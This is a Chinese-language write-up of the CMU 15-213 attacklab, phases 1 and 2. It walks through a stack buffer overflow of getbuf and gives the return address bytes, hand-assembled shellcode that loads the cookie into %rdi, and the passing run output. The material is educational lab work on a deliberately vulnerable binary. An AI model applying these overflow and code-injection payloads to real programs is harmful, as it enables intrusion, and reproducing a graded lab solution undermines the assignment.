blob: bd499adb68c3c10ceeee36659669931f21b73ce6 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
# CTARGET
## Phase 1
```asm
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 call 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 ret
00000000004017c0 <touch1>: ...
```
很明显，getbuf只有0x28就是40的缓冲区，那只要40个垃圾数据+返回地址就行了
NB. 小段序，所以返回地址要倒着写 ie. `c0 17 40 00 00 00 00 00`
```bash
➜ attack git:(main) ✗ ./hex2raw < ans/1.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
```
## Phase 2
从pdf中可以知道，不但要调用touch2，还要传入的%rdi与cookie相同
需要做的
1. buffer overflow，覆盖掉返回地址
2. 继续覆盖更多内容，植入自己的程序
3. ret返回到自己程序的开头
4. 自己程序设置好环境，再ret touch2()
地址高位
- code (设置rdi，再把当前rsp指向的地址改为touch2地址，然后ret)
- return addr
- getbuf garbage 40 bytes
地址低位
所以代码部分，就是设置好touch()返回地址+寄存器就行了
```asm
0000000000000000 <.text>:
0: 68 ec 17 40 00 push $0x4017ec
5: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi
c: c3 ret
```
代码部分就是 `68 ec 17 40 00 48 c7 c7 fa 97 b9 59 c3`
gdb可以发现，在getbuf返回之前`$rsp : 0x000000005561dca0`
自己程序的开头就是`0x000000005561dca8`
```bash
➜ attack git:(main) ✗ ./hex2raw < ans/2.txt | ./ctarget -q
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
user id bovik
course 15213-f15
lab attacklab
```
|
